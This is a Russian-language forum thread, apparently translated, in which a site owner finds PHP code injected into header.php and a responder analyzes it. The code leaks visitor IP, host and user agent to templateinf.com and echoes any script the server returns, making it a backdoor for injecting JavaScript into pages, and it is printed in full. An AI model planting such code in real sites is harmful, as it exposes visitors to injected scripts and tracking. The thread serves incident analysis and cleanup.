Блог

Avast время от времени появлялся на одном из моих сайтов. Немного странно, так как я довольно строго отношусь к безопасности, но я проверил index.php файл и все связанные с ним компоненты и скрипты. Нашел какой-то странный PHP-код в моем «header.php » файл, который я удалил.

Сегодня вечером снова появился avast, и, несмотря на мои данные FTP, указывающие на то, что файл «не редактировался с тех пор, как я его исправил», код снова там. Теперь я сменил пароли и все такое прочее.

Вот рассматриваемый PHP-код, любой совет был бы полезен в отношении того, что, черт возьми, это делает!

 <?php

$wp_bskr = 'inf';
$wp_tcc = 'template';
error_reporting(0);
ini_set('display_errors',0);
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT'];

if (( preg_match ('/Gecko|MSIE/i', $wp_hrmr) amp;amp; !preg_match ('/bot/i', $wp_hrmr))) {
    $wp_drss="http://".$wp_tcc.$wp_bskr.".com/".$wp_bskr."/?ip=".$_SERVER['REMOTE_ADDR']."amp;referer=".urlencode($_SERVER['HTTP_HOST'])."amp;ua=".urlencode($wp_hrmr);

    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL,$wp_drss);

    curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $wp_wvw = curl_exec ($ch);
    curl_close($ch);
}

if ( substr($wp_wvw,1,3) === 'scr' ) {
    echo $wp_wvw;
}
?>
 

********* Обновление ************

Спасибо esqew за более глубокое изучение этого вопроса и предоставление подробной информации в вашем сообщении в блоге. Действительно, страшная штука. У меня есть для вас небольшая новость с моей стороны.

Во-первых, используя журналы avast (с момента обнаружения вредоносного ПО на моем сайте), немного поискав в Google, я нашел еще один пример очень похожего кода, и IP-адрес, помеченный avast на моем конце, соответствовал этому сообщению. Здесь была доступна некоторая информация, позволяющая сузить круг поиска: malware-traffic-analysis.n *t/2014/05/11/index.html . Я думаю, что это был пост в любом случае. Новичок на форуме, не уверен, могу ли я размещать ссылки, поэтому я выделил tld «net».

Оттуда я взял соответствующий IP-адрес, URL-адрес, содержащий javascript, whois и передал всю информацию регистратору. Они посмотрели на это со своей стороны и подтвердили, что происходит вредоносное ПО, и, к моему удивлению, ответили в течение часа и приостановили домен и все подключенные к этому IP.

Во-вторых, мой веб-хостинг обнаружил, как, по их мнению, была достигнута утечка. Не вдаваясь в подробные подробности, я понял, что у меня была старая установка WordPress (под старой я имею в виду ту, которую я не использовал и забыл о ней годами, не обновлялся, возможно, с 2010 года, поэтому я полагаю, что она легко уязвима). Судя по их журналам, это выглядело так, как будто это был путь к моему серверу, поскольку у меня не было установлено никаких других скриптов. Несколько дней назад я сменил все пароли и полностью удалил WP, поскольку он больше не использовался, и в настоящее время все выглядит нормально.

Похоже, это какой-то бэкдор, мы можем изучить это дальше. Первые несколько строк, похоже, устанавливают некоторые переменные, затрудняющие чтение / обнаружение кода:

 $wp_bskr = 'inf'; // simple string settings
$wp_tcc = 'template'; // simple string settings
error_reporting(0); // making errors silent, so they are close to undetectable
ini_set('display_errors',0); // making errors silent, so they are close to undetectable
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT']; // grab the user-agent string from the requesting party
 

Затем он создает URL-адрес на основе этих строк:

 http://templateinf.com/inf/?...
 

… который содержит кучу информации о вашем пользовательском агенте, вашем IP-адресе и странице, с которой он поступает.

Затем он запускает регулярное выражение для этой $wp_hrmr переменной (вашей строки пользовательского агента), чтобы проверить, является ли она Gecko или MSIE и не содержит «bot» (с неаккуратными, ненужными скобками, которые я немного почистил):

 if (preg_match('/Gecko|MSIE/i', $wp_hrmr) amp;amp; !preg_match('/bot/i', $wp_hrmr)) {
 

Если эти условия выполнены, он создает запрос cURL к тому скелетному URL, который он создал ранее:

 $ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$wp_drss);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_wvw = curl_exec ($ch);
curl_close($ch);
 

Затем он просматривает выходные данные, и если они содержат строку «scr» в определенной точке строки, echo вывод возвращается в браузер:

 if ( substr($wp_wvw,1,3) === 'scr' ){ echo $wp_wvw; }
 

По моему личному мнению, это то, что автоматический инструмент использует либо для сбора статистики использования шаблона (вычитается из URL-адреса), либо для предупреждения этого центрального сервера о том, что конечная точка, с которой он сообщает, уязвима для определенного эксплойта (или, возможно, их комбинации). Однако он кажется недостаточно запутанным, чтобы оправдать его отнесение к категории вредоносных программ, и при этом он недостаточно удобочитаем, чтобы быть законным. Его код подавления ошибок, безусловно, указывает на первое, но он echo выводится в буфер. В любом случае это своеобразный фрагмент кода. Смотрите Обновление ниже для получения дополнительной информации

Тем не менее, это представляет собой ОГРОМНЫЙ риск для безопасности, и вам необходимо немедленно связаться со своим хостинг-провайдером, поскольку в вашей сети хостинга может возникнуть более серьезная проблема, чем просто ваш сайт. Хотя этот конкретный фрагмент кода не делает ничего особенно вредоносного, он по-прежнему представляет собой риск, который следует устранить незамедлительно, прежде чем вы продолжите что-либо еще.

Как упоминал @Jonathan в комментариях к OP, любой код, который появляется на вашем веб-сайте, который вы не написали, должен подвергаться тщательной проверке.

Обновить

Написав это сегодня вечером для эксперимента в блоге, который я провожу, я добился больших успехов в понимании этой вредоносной программы.

Не видя вашей текущей конфигурации сервера, мне сложно понять, как этот код вообще попал в вашу среду. Тем не менее, я с уверенностью могу сказать, что этот код будет использоваться в какой-то момент в будущем для массовых XSS-атак.

Письма scr подсказали мне, что содержимое выходных данных запроса cURL в конечном итоге будет содержать эту строку, что является простым способом фильтрации выходных данных, которые не начинаются с. <script>

Как только злоумышленник активирует включение со своей стороны, сервер, скорее всего, начнет отвечать на запросы с помощью кода на основе Javascript и атаковать клиентов, когда они посещают веб-сайты. Злоумышленник может ожидать выхода широко распространенной ошибки движка Javascript, которую он может использовать для выполнения еще более вредоносных действий, чем просто XSS (возможно, например, удаленное выполнение кода).

Имея достаточное количество зараженных серверов, злоумышленники могут использовать эти бэкдоры для чего угодно: майнинга биткоинов на основе Javascript, DDOS-атак на основе Javascript и т.д.